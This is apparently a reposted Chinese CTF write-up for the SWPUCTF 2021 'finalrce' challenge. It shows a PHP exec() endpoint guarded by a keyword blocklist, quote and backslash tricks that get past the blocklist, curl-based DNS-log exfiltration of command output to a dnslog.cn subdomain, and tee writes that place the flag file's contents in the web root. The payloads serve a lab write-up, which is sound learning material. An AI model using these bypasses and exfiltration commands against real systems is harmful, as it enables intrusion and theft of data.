当前位置: 首页 > news >正文

[SWPUCTF 2021 新生赛]finalrce

[SWPUCTF 2021 新生赛]finalrce wp

注:本文参考了 NSSCTF Leaderchen 师傅的题解,并修补了其中些许不足。

此外,参考了 命令执行(RCE)面对各种过滤,骚姿势绕过总结

题目代码:

 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{$url=$_GET['url'];if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)){echo "Sorry,you can't use this.";}else{echo "Can you see anything?";exec($url);}
} 

过滤了一堆字符。

这道题的 exec 函数理应返回执行结果的最后一行,但是却什么也不返回,所以需要一些其他的方法来看到命令执行的结果。

过滤关键字的绕过

首先我们知道关键字被过滤时可以使用以下绕过方式:

如 ls 被过滤,可以替换为

l''s
l\s 

等等。

但是由于 $* 等字符被过滤了,这里能用的恐怕只有前两种。

了解了这些之后来构造几种 payload 。

DNSlog 带外命令执行

DNS 的网站这里写一下:

http://www.dnslog.cn

http://ceye.io

临时使用的话推荐去第一个网站。

curl `l''s`.xf3njn.dnslog.cn

用反引号执行 ls 命令,执行的结果拼接到 xf3njn.dnslog.cn 域名上,然后访问,访问的日志可以在网站上看,就可以看到命令执行的结果。

在这里插入图片描述

ls 执行的结果是 index.php

这样的话我们直接查找根目录下包含 “f” 的文件:

curl `l\s /|grep 'f'`.xf3njn.dnslog.cn

返回结果:

在这里插入图片描述

找到了。

查看 flag 文件:

这里因为 “la” 也被过滤了,所以多加了一个斜杠。

curl `ca\t /flllll\aaaaaaggggggg`.xf3njn.dnslog.cn

在这里插入图片描述

返回结果中的大括号被去掉了,自己加上,另外把开头小写的 nssctf 改成大写就行了。

tee 关键字将结果保存到文件中

执行 ls 文件并将结果保存到当前目录的 1.txt 文件中:

l\s|tee 1.txt

执行这条命令后去访问:http://node4.anna.nssctf.cn:28616/1.txt 就可以看到结果了:

在这里插入图片描述

这里因为我之前执行过一次,所以多了一个 1.txt 文件。

同理可以查看 flag :

ca\t /flllll\aaaaaaggggggg|tee 2.txt

拿到 flag :

在这里插入图片描述

此外,还有 tac,head,tail 等命令也可以代替 cat 查看文件内容。

相关文章:

[SWPUCTF 2021 新生赛]finalrce

[SWPUCTF 2021 新生赛]finalrce wp 注&#xff1a;本文参考了 NSSCTF Leaderchen 师傅的题解&#xff0c;并修补了其中些许不足。 此外&#xff0c;参考了 命令执行(RCE)面对各种过滤&#xff0c;骚姿势绕过总结 题目代码&#xff1a; <?php highlight_file(__FILE__); …...

如何底层调用最快地复制OPC数据到关系数据库

计算机上的二大应用&#xff0c;一是从WEB服务器上获得数据&#xff0c;另一种是向关系数据库中写入数据。在上集我已提出了一个从WEB上获得OPC数据的独创方法&#xff0c;现在谈谈第二种如何快速地把OPC数据写进到数据库中&#xff0c;这也是Calssic OPC最典型的一个应用场景。…...

接口测试工具——ApiFox使用初体验 postman导出和ApiFox导入

目录 ApiFox使用初体验初步使用从postman导出到apifox导入 IDEA简单测试Postman测试工具post请求 接口测试工具swaggerKnife4j1.引入依赖2.配置3.常用注解4.接口测试 JMeter什么是JMeter?JMeter安装配置1.官网下载2.下载后解压3.汉语设置 JMeter的使用方法1.新建线程组2.设置参…...

搜维尔科技:经脉腧穴虚拟针灸VR虚拟教学平台AcuMap软件案例分享

北京中医药大学经脉腧穴VR虚拟教学平台案例 主要产品 HTCvive &#xff0c;AcuMap&#xff1b; 实施内容 一、项目说明 &#xff08;1&#xff09;穴位取穴与体表解剖标志关系&#xff1b;&#xff08;2&#xff09;穴下层次解剖及周围解剖结构展示&#xff1b; &#xf…...

Jenkins的shared library相关

Jenkins的shared library是一种用于在多个Jenkins流水线项目中共享和重用代码的机制。它可以将常用的构建逻辑、工具函数或自定义步骤封装为可复用的库&#xff0c;并以插件的形式提供给Jenkins。 Shared library的作用主要包括以下几个方面&#xff1a; 代码复用&#xff1a…...

文件IO

文章目录 文章目录 前言 一 . 文件 文件路径 文件类型 Java中操作文件 File 概述 属性 构造方法 方法 createNewFile mkdir 二 . 文件内容的读写 - IO InputStream 概述 FileInputStream 概述 利用 Scanner 进行字符读取 OutputStream 概述 PrintWriter封装O…...

【日常聊聊】编程语言的未来:趋势、多样性、人工智能融合、教育与生态系统

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a; 日常聊聊 ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言&#xff1a; 正文 1. 编程语言的发展趋势 1.1 新语言和编程范式的涌现 1.2 影响和挑战 2. 编程语言的多样性 2.1 互操作性和可移…...

无需手动搜索!轻松创建IntelliJ IDEA快捷方式的Linux教程

轻松创建IntelliJ IDEA快捷方式的Linux教程 一、IntelliJ IDEA简介二、在Linux系统中创建快捷方式的好处三、命令行创建IntelliJ IDEA快捷方式四、图形界面创建IntelliJ IDEA快捷方式五、常见问题总结 一、IntelliJ IDEA简介 IntelliJ IDEA是一个由JetBrains搞的IDE&#xff0…...

如何去掉微博水印?用它一键去除三秒出图

微博是一款非常流行的社交媒体平台&#xff0c;许多人都在上面分享自己的生活点滴和心得体会。但是&#xff0c;有时候我们会发现&#xff0c;在上传图片时&#xff0c;微博会自动添加水印&#xff0c;这会影响到图片的美观度。那么&#xff0c;如何去掉微博水印呢&#xff1f;…...

Golang 泛型实现原理

文章目录 1.什么是泛型&#xff1f;2.有 interface{} 为什么还要有泛型&#xff1f;3.泛型有哪些特性?3.1 类型参数泛型函数泛型类型 3.2 类型约束3.3 类型集3.4 约束元素任意类型约束元素近似约束元素联合约束元素约束中的可比类型 3.5 类型推断 4.实现原理4.1 类型擦除虚方法…...

[玩转AIGC]LLaMA2之如何微调模型

目录 1、下载训练脚本2、 下载模型2.1、申请下载权限2.2、模型下载 3、模型微调3.1、使用单卡微调3.2、使用多卡训练&#xff1a; 1、下载训练脚本 首先我们从github上下载Llama 2的微调代码&#xff1a;GitHub - facebookresearch/llama-recipes: Examples and recipes for L…...

使用克魔助手进行iOS数据抓包和HTTP抓包的方法详解

摘要 本文博客将介绍如何在iOS环境下使用克魔助手进行数据抓包和HTTP抓包。通过抓包&#xff0c;开发者可以分析移动应用程序的网络请求发送和接收过程&#xff0c;识别潜在的性能和安全问题&#xff0c;提高应用的质量和安全性。 引言 在移动应用程序的开发和测试过程中&am…...

【递归 回溯】LeetCode-301. 删除无效的括号

301. 删除无效的括号。 给你一个由若干括号和字母组成的字符串 s &#xff0c;删除最小数量的无效括号&#xff0c;使得输入的字符串有效。 返回所有可能的结果。答案可以按 任意顺序 返回。 示例 1&#xff1a; 输入&#xff1a;s "()())()" 输出&#xff1a;[…...

C++ 基本的输入输出

C 标准库提供了一组丰富的输入/输出功能&#xff0c;我们将在后续的章节进行介绍。本章将讨论 C 编程中最基本和最常见的 I/O 操作。 C 的 I/O 发生在流中&#xff0c;流是字节序列。如果字节流是从设备&#xff08;如键盘、磁盘驱动器、网络连接等&#xff09;流向内存&#…...

vue3老项目如何引入vite

vue3老项目如何引入vite 安装 npm install vite vitejs/plugin-vue --save-dev Vite官方中文文档修改package.json文件 在 npm scripts 中使用 vite 执行文件 "scripts": {"serve": "vite","build": "vite build","pr…...

javaEE -19(9000 字 JavaScript入门 - 4)

一&#xff1a; jQuery jQuery是一个快速、小巧且功能丰富的JavaScript库。它旨在简化HTML文档遍历、事件处理、动画效果以及与后端服务器的交互等操作。通过使用jQuery&#xff0c;开发者可以以更简洁、更高效的方式来编写JavaScript代码。 jQuery提供了许多易于使用的方法和…...

二叉树的非递归遍历|前中后序遍历

二叉树的非递归遍历 文章目录 二叉树的非递归遍历前序遍历-栈层序遍历-队列中序遍历-栈后序遍历-栈 前序遍历-栈 首先我们应该创建一个Stack 用来存放节点&#xff0c;首先我们想要打印根节点的数据&#xff0c;此时Stack里面的内容为空&#xff0c;所以我们优先将头结点加入S…...

开源minio-AWS-S3存储的部署及go操作详细

介绍 MinIO是一个开源的分布式对象存储服务&#xff0c;它允许用户在私有云或公有云环境中构建自己的对象存储基础设施。MinIO旨在提供高性能、高可用性的对象存储&#xff0c;并且与Amazon S3兼容&#xff0c;这意味着可以使用S3客户端工具和库直接与MinIO交互&#xff0c;而…...

【Web2D/3D】Canvas(第三篇)

1. 前言 <canvas>是HTML5新增元素&#xff0c;它是一个画板&#xff0c;开发人员基于它的2D上下文或webgl上下文&#xff0c;使用JS脚本绘制简单的动画、可交互画面&#xff0c;甚至进行视频渲染。 本篇介绍基于canvas的2D上下文绘制2D画面的一些方法和属性。 2. canvas…...

紫光展锐T820与飞桨完成I级兼容性测试 助推端侧AI融合创新

近日&#xff0c;紫光展锐高性能5G SoC T820与百度飞桨完成I级兼容性测试&#xff08;基于Paddle Lite工具&#xff09;。测试结果显示&#xff0c;双方兼容性表现良好&#xff0c;整体运行稳定。这是紫光展锐加入百度“硬件生态共创计划”后的阶段性成果。 本次I级兼容性测试完…...

Qt新手也能搞定的GPU加速图片渲染:用QOpenGLWidget和QImage实现高性能显示

Qt新手也能搞定的GPU加速图片渲染&#xff1a;用QOpenGLWidget和QImage实现高性能显示 在Qt应用开发中&#xff0c;处理高分辨率图片或序列帧&#xff08;如医学影像、地图切片&#xff09;时&#xff0c;传统的QLabel显示方式常会遇到性能瓶颈。当图片尺寸超过1080P或需要快速…...

别再只跑测试了!用KAIR库从零训练你自己的SwinIR超分模型(附DIV2K/Flickr2K数据集处理避坑指南)

从测试到训练&#xff1a;SwinIR超分模型实战进阶指南 当你第一次用SwinIR的预训练模型将模糊照片变得清晰时&#xff0c;那种惊艳感可能让你跃跃欲试想训练自己的模型。但面对几十GB的数据集和复杂的训练配置&#xff0c;很多开发者停在了"只跑测试"的阶段。本文将带…...

2026 AI低代码实测:原理拆解+主流形态,避坑指南

2026年&#xff0c;AI低代码早已不是“概念炒作”&#xff0c;而是企业数字化转型的核心工具。Gartner预测&#xff0c;2026年全球70%以上新应用将采用低代码/无代码构建&#xff0c;较2023年45%的渗透率实现跨越式增长&#xff1b;IDC数据显示&#xff0c;同期全球AI低代码市场…...

企业级融媒体生产管理平台/智能会议管理系统EasyDSS构建一体化应急视频指挥体系

在自然灾害、安全生产事故等突发事件处置中&#xff0c;应急指挥的核心诉求是数据绝对安全、指令极速传递、态势全面感知。私有化视频会议系统EasyDSS打破传统协作壁垒&#xff0c;为应急指挥打造专属化、高可靠的音视频中枢&#xff0c;成为应急处置的核心技术支撑。一、私有化…...

枚举进阶:从常量集合到业务逻辑承载者的实战扩展技巧

1. 项目概述&#xff1a;从“能用”到“好用”的枚举进阶之路在软件开发中&#xff0c;枚举&#xff08;Enum&#xff09;是我们再熟悉不过的基础工具了。它把一组有限的、具名的常量组织在一起&#xff0c;让代码意图更清晰&#xff0c;避免“魔法数字”满天飞。但不知道你有没…...

【量化】IPTQ-ViT: Post-Training Quantization of Non-linear Functions for Integer-only Vision Transformer

【PTQ】PTQViT/IPTQ-ViT (arXiv 2022) 问题: ViT 中的非线性函数&#xff08;GELU、Softmax&#xff09;在纯整数推理中存在计算障碍。 核心创新: 模块方法作用多项式近似 GELU用低阶多项式逼近 GELU将非线性运算转化为整数可执行的乘加Bit-shifting Softmax用位移操作近似 …...

ARM中断机制深度解析:从硬件原理到实战调试与RTOS应用

1. 项目概述&#xff1a;从一行代码到硬件响应“ARM体系架构处理器的中断程序分析”这个标题&#xff0c;对于很多嵌入式开发者和系统软件工程师来说&#xff0c;就像一把钥匙。它指向了连接软件逻辑与硬件实时响应的核心枢纽。我处理过太多因为中断没玩明白而导致的系统“玄学…...

别只盯着TPS!用JMeter汇总报告做一次完整的性能瓶颈分析实战

别只盯着TPS&#xff01;用JMeter汇总报告做一次完整的性能瓶颈分析实战 在性能测试领域&#xff0c;JMeter的汇总报告&#xff08;Summary Report&#xff09;是最常用的监听器之一&#xff0c;但很多测试工程师往往只关注其中的TPS&#xff08;每秒事务数&#xff09;指标&am…...

企业号码认证服务:实现座机、手机来电显示公司名称+品牌LOGO

在如今的商业环境下&#xff0c;一通没有身份标识的电话&#xff0c;想要敲开客户的大门已经变得越来越难。反诈意识的普及&#xff0c;让人们对陌生呼叫筑起了厚厚的防御墙。许多企业在开展客户回访、售后跟进或业务接洽时&#xff0c;频繁遭遇拒接、秒挂的窘境。投入了大笔的…...

Lenovo Legion Toolkit 维护版继续升级

Lenovo Legion Toolkit 维护版在继续更新。 项目地址&#xff1a;https://github.com/SSC-STUDIO/LenovoLegionToolkit 下载地址&#xff1a;https://github.com/SSC-STUDIO/LenovoLegionToolkit/releases/latest 这个版本面向 Windows 上的 Legion / IdeaPad Gaming / LOQ …...